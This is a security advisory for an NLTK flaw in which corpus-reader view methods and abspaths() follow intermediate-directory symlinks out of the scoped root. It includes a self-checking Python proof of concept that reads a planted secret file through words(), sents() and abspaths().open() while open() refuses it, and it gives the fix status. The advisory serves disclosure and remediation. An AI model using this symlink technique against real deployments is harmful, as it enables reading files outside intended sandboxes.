Vulnerability GHSA-g58v-j9g9-5gfg
Summary
NLTK corpus-reader view methods bypass the scoped root sandbox via intermediate-directory symlinks
Details
affected: PyPI
nltk>= 3.9.4—CorpusReader.abspaths()/abspath()and thePlaintextCorpusReader/SyntaxCorpusReaderview methods dynamically reproduced:nltk3.9.4(8/9, scoped-escape checks),3.10.3(wheel, 9/9 checks) andmaster6818767b9(9/9 checks)
Reproduction script (self-contained)
# Self-checking, control-grouped reproduction script embedded in this advisory.
# Usage: python3 - <<'EOF' ... EOF (requires: pip install nltk)
# A private temp sandbox is created at runtime and registered via nltk.data.path.
#!/usr/bin/env python3
"""Self-checking reproduction of CorpusReader view-method scoped-sandbox bypass.
The affected surfaces are:
- CorpusReader.abspaths()/abspath() return a FileSystemPathPointer without the
required_root scoped check that CorpusReader.open() applies (api.py:235-257);
PlaintextCorpusReader view methods open those pointers directly.
- SyntaxCorpusReader view methods (words/sents/parsed_sents/tagged_words/
tagged_sents) also open via abspaths() without the scoped check.
Control group: the SAME fileid through reader.open() is rejected by the Layer-2
scoped guard (validate_path(..., required_root=self._root)).
Environment: base sandbox dir is a private temp dir appended to nltk.data.path
(the attacker-controlled corpus root lives inside an allowed NLTK data root).
"""
import os
import shutil
import sys
import tempfile
import nltk
import nltk.data
PASS = 0
FAIL = 0
def check(name, cond, detail=""):
global PASS, FAIL
if cond:
PASS += 1
print(f"PASS {name} {detail}")
else:
FAIL += 1
print(f"FAIL {name} {detail}")
def main():
print(f"nltk version: {nltk.__version__} python: {sys.version.split()[0]}")
import nltk.pathsec as ps
print(f"pathsec.ENFORCE = {ps.ENFORCE} posix = {os.name == 'posix'}")
base = tempfile.mkdtemp(prefix="nltk_sandbox_")
os.chmod(base, 0o700)
nltk.data.path.append(base) # make the private sandbox an allowed NLTK data root
rootA = os.path.join(base, "corpora", "mysample") # corpus root R
rootB = os.path.join(base, "bar") # sibling, inside allowed root
os.makedirs(rootA)
os.makedirs(rootB)
secret = "TOPSECRET"
with open(os.path.join(rootB, "secret.txt"), "w") as f:
f.write(secret + "\n")
# Bracket-parse file is read as sexpr blocks by BracketParseCorpusReader
with open(os.path.join(rootB, "bracket.txt"), "w") as f:
f.write("(S (NP TOPSECRET))\n")
# Intermediate-directory symlink inside the corpus root -> sibling outside R
linkdir = os.path.join(rootA, "sub")
os.symlink(rootB, linkdir)
check("sandbox is an allowed root", base in {str(p) for p in ps._get_allowed_roots()})
check("symlink created", os.path.islink(linkdir))
# ---------------------------------------------------------------- control
from nltk.corpus.reader.plaintext import PlaintextCorpusReader
reader = PlaintextCorpusReader(rootA, r".*")
try:
reader.open("sub/secret.txt")
check("CONTROL open() rejects symlink escape", False, "no exception raised")
except ValueError as e:
check("CONTROL open() rejects symlink escape", True, f"ValueError: {str(e)[:60]}")
except PermissionError as e:
check("CONTROL open() rejects symlink escape", True, f"PermissionError: {str(e)[:60]}")
except Exception as e:
check("CONTROL open() rejects symlink escape", True, f"{type(e).__name__}: {str(e)[:60]}")
# ------------------------------------------------- abspaths() pointer
ptr = reader.abspaths(["sub/secret.txt"])[0]
try:
content = ptr.open().read()
check("abspaths() pointer.open() reads outside root", content == (secret + "\n").encode(), f"got {content!r}")
except Exception as e:
check("abspaths() pointer.open() reads outside root", False, f"{type(e).__name__}: {str(e)[:60]}")
# ------------------------------------------------- PlaintextReader.words()
try:
words = list(reader.words(["sub/secret.txt"]))
check("PlaintextCorpusReader.words() leaks outside root", any(secret in w for w in words), f"words={words}")
except Exception as e:
check("PlaintextCorpusReader.words() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")
# ------------------------------------------------------------ syntax views
from nltk.corpus.reader.bracket_parse import BracketParseCorpusReader
brow = BracketParseCorpusReader(rootA, r".*")
try:
# control on the syntax reader open()
brow.open("sub/bracket.txt")
check("CONTROL syntax reader open() rejects symlink escape", False, "no exception raised")
except Exception as e:
check("CONTROL syntax reader open() rejects symlink escape", True, f"{type(e).__name__}: {str(e)[:60]}")
try:
sent = list(brow.words(["sub/bracket.txt"]))
check("SyntaxCorpusReader.words() leaks outside root", any(secret in w for w in sent), f"words={sent}")
except Exception as e:
check("SyntaxCorpusReader.words() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")
try:
sents = list(brow.sents(["sub/bracket.txt"]))
check("SyntaxCorpusReader.sents() leaks outside root", any(secret in w for w in sents), f"sents={sents}")
except Exception as e:
check("SyntaxCorpusReader.sents() leaks outside root", False, f"{type(e).__name__}: {str(e)[:60]}")
# ----------------------------------------------------------- global-sandbox boundary
# The escape is bounded: a file OUTSIDE every allowed root must still be refused.
outside = os.path.join(base, "..", "etc")
os.makedirs(outside, exist_ok=True)
outfile = os.path.join(outside, "secret.txt")
with open(outfile, "w") as f:
f.write("OUTSIDE\n")
# point a second symlink inside rootA to a directory outside all allowed roots
linkout = os.path.join(rootA, "out")
os.symlink(outside, linkout)
try:
got = reader.abspaths(["out/secret.txt"])[0].open().read()
check("GLOBAL sandbox still blocks outside-allowed-root read", False, f"leaked {got!r}")
except Exception as e:
check("GLOBAL sandbox still blocks outside-allowed-root read", True, f"{type(e).__name__}: {str(e)[:60]}")
print(f"\nRESULT: {PASS} passed, {FAIL} failed")
shutil.rmtree(base, ignore_errors=True)
return 0 if FAIL == 0 else 1
if __name__ == "__main__":
sys.exit(main())
Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3761 "Contain CorpusReader / agreement / chat80 file I/O in the pathsec sandbox", merged 2026-08-17, merge commit cd4953f7b on develop. Fix commit: 9f7cf06b4 (the corpus-reader path pointers and view methods resolve and validate against the reader's root, so an intermediate directory symlink that leaves the root is refused).
Probe: none. The advisory PoC re-run (a corpus root R with R/sub pointing at a sibling directory inside the same data root, then abspaths()[0].open(), words() and open() on sub/secret.txt): on develop 2fa3f48fe all three are refused with ValueError (security violation, path escapes root); on v3.10.3 and on 6818767b9 abspaths().open() and words() return the secret while open() is refused, which matches the advisory. A bisect of develop between 6818767b9 and 2fa3f48fe with that reproduction names 9f7cf06b4 as the first fixed commit.
Release: none yet; no release tag contains 9f7cf06b4.
Related Vulnerabilities
Other vulnerabilities affecting the same packages